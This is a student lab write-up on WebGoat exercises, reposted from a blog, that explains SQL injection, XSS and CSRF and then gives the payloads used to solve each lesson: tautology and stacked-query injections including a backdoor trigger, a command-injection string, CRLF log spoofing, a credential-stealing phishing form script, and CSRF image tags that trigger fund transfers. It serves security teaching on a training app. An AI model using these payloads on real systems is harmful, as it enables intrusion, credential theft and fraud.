20145204张亚军——web安全基础实践
web安全基础实践
实验后回答问题
1、SQL注入原理,如何防御
SQL注入:就是通过把SQL命令插入到“Web表单递交”或“输入域名”或“页面请求”的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- 防御
1、通过正则表达式,或限制长度,对用户的输入进行校验等。
2.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
2、XSS攻击的原理,如何防御
原理:在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。
- 防御
1、在输入方面对用户提交的的内容进行可靠的输入验证。
2、可以对输入的地方进行输入字数控制
3、脚本执行区,禁止输入。
3、CSRF攻击原理,如何防御
原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
简单来说,实现攻击有以下两个过程:
登录信任网站A,并生成cookies
在未登出A的情况下,登录危险网站B
防御
CSRF主要是针对cookie进行攻击的,所以防范方式也从cookie上着手:
1、在表单里增加Hash值,以认证这确实是用户发送的请求。然后在服务器端进行Hash值验证。
2、对于每一个表单使用不同的伪随机数值,可以避免冒充用户提交表单
3、定期清理保存的cookie。
实践过程
1、webgoat开启,并输入网址localhost:8080/WebGoat
,登陆。
String SQL Injection
1、根据题目中的提示:SELECT * FROM user_data WHERE last_name = 'Your name'
,我们知道他是一个查询语句,用于输入的地方就在'Your name'这里。
2、根据题目要求,需要显示所有用户的信息,所以我们在这里构造语句'or 1 = 1'
,输入表格中。
3、这样的话,整个查询语句就变成了:SELECT * FROM user_data WHERE last_name = ''or 1 = 1--
,因为中间”或“了一个永真式,所以会成功显示出所有结果。
结果显示:
LAB:step 1 SQL Injection
1、这道题同样是一个字符串注入,但是这个是网站登录的页面。验证语句是select * from User where username=''and password =''
。因为用户名是下拉框,所以我们选择在密码上做文章。
2、在password = ''这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:select * from User where username=''and password ='' or 1 = 1 --',这样就可以登陆任何用户了,这里我选择的是用burpsuit进行代理,改变数据包的方式。
3、实现成功登录。
Numberic SQL Injection
1、分析:这道题目没有任何可以输入的地方,所以我选择burpsuit代理,更改数据包,最后成功。
Command Injection
1、这道题需要我们使用Burpsuit代理,实现命令注入。如下所示是burpsuit分析的网页提交到的位置
2、在提交的位置添加"&netstat -a"
命令,第一个引号用来封闭前一个命令,最后一个用来闭合结尾的引号。
3、如下图所示,是成功的界面:
Database Backdoors step1
1、实验目的是实现多条SQL语句的注入,在userid中输入101 or 1=1;--
,通过了。
Database Backdoors step2
1、根据题意:使用该SQL语句实现在myBackDoor表中一旦添加新用户那么就在用户表里将新用户的邮箱改为题目固定的邮箱
2、那我们就简单的插入两个SQL语句就可以啦
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;
3、成功显示:
log Spoofing
1、这种攻击是一种欺骗日志的方法,回车是%0d,换行符是%0a,在用户名中添加smith%0d%0aLogin Succeeded
,提交就会完成本题
2、结果显示如下:
Phishing with XSS
1、编写一个钓鱼网站的页面。
head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div></div></div>
</form><script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} </script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
2、在用户点击提交时,显示如下图示的登录界面,登录后,显示用户名和密码。
Reflected XSS Attacks
在文本框中插入<script>alert("hi")</script>
,当点击提交时,会弹出对话框
我们可以利用这一点,在网页中插入代码,获取用户的cookies
Stored XSS Attacks
1、同样可以在文本框中插入<script>alert("hi")</script>
代码。以下是成功的界面:
Cross Site Request Forgery
1、你的目标是发一个email给newsgroup,内容包括一个有恶意URL请求的图片。URL要指向“attack”(包含参数“Screen”和“Menu”,还有一个额外参数“transferFunds”)。当收到含有CSRF页面的邮件时,就会执行transferFunds
2、在框中输入<img src='attack?Screen=275&menu=900&transferFunds=5000'>
,当受害者浏览这个网页时,会在当前界面发送一个transferFunds的请求,浏览器认为得到图片,但实际上是一个资金转移。
3、结果显示:
CSRF Prompt By-Pass
1、网页上的手动发起请求的操作,是通过HTML+JavaScript向服务器请求,在这道题目中,我们需要在文本框中添加两个语句,一个用于请求用户转账,另一个用于触发确认界面,url需要使用下面两个参数:transferfunds=5000和transferfunds=CONFIRM
2、输入命令:
<img src='attack?Screen=275&menu=900&transferFunds=5000'><img src='attack?Screen=275&menu=900&transferFunds=CIONFIRM'>
3、成功显示如下图:
转载于:https://www.cnblogs.com/yayaer/p/6838314.html
20145204张亚军——web安全基础实践相关推荐
- 20145325张梓靖 《网络对抗技术》 Web安全基础实践
20145325张梓靖 <网络对抗技术> Web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Ref ...
- 20145227鄢曼君《网络对抗》Web安全基础实践
20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- Exp9 Web安全基础实践 20164323段钊阳
网络对抗技术 20164323 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭 ...
- 《网络攻防》Web安全基础实践
20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...
- EXP9 web安全基础实践
<网络对抗>Exp9 Web安全基础实践 WXP2 后门原理 一.基础问题回答 1.SQL注入原理,如何防御 SQL注入原理: 就是通过把SQL命令插入到"Web表单递交&quo ...
- 20145239杜文超《网络对抗》- Web安全基础实践
20145239杜文超<网络对抗>- Web安全基础实践 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20145209刘一阳《网络对抗》Exp9 Web安全基础实践
20145209刘一阳<网络对抗>Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求 ...
- 20154319 实验九web安全基础实践
一.实验内容 (1)webgoat开启: (2)SQL.XSS.CSRF练习. 二.实验后问题回答 (1)SQL注入攻击原理,如何防御 答:原理:SQL注入攻击是指攻击者利用Web应用程序无法对用户输 ...
最新文章
- e.printStackTrace()导致的锁死
- linux如何登陆oracle?如何停止、启动oracle和其监听?
- Java——集合(HashMap与Hashtable的区别)
- 使用SoapUI测试webservice接口详细步骤
- 文献笔记(5)(2017ISSCC 14.1)
- 初识等级保护,要点整理
- ListView演练 - 带有组头的汽车品牌展示
- 数学专业英语--极限
- 10gR2--用asmcmd对ASM进行管理
- MySQL索引有序性分析
- 【ETH链游】阿蟹Axie Infinity模拟器运行及多开
- PHP抓取百度搜索结果页面的【相关搜索词】并存储
- [转]什么?你还不会写JQuery 插件
- c语言用星号输出大写字母H,如何在C语言中用星号或自定义字符打印方形图案
- 三行情书c语言,“三行情书”——给你三行代码的爱恋~
- 基于 SSR 的预渲染首屏直出方案
- 随机信号处理的一些归纳
- cvCvtColor 颜色空间转换函数
- 计算机指令长度是固定的,通常在计算机中指令的长度是固定的吗
- 【Grafana 了解、学习和使用】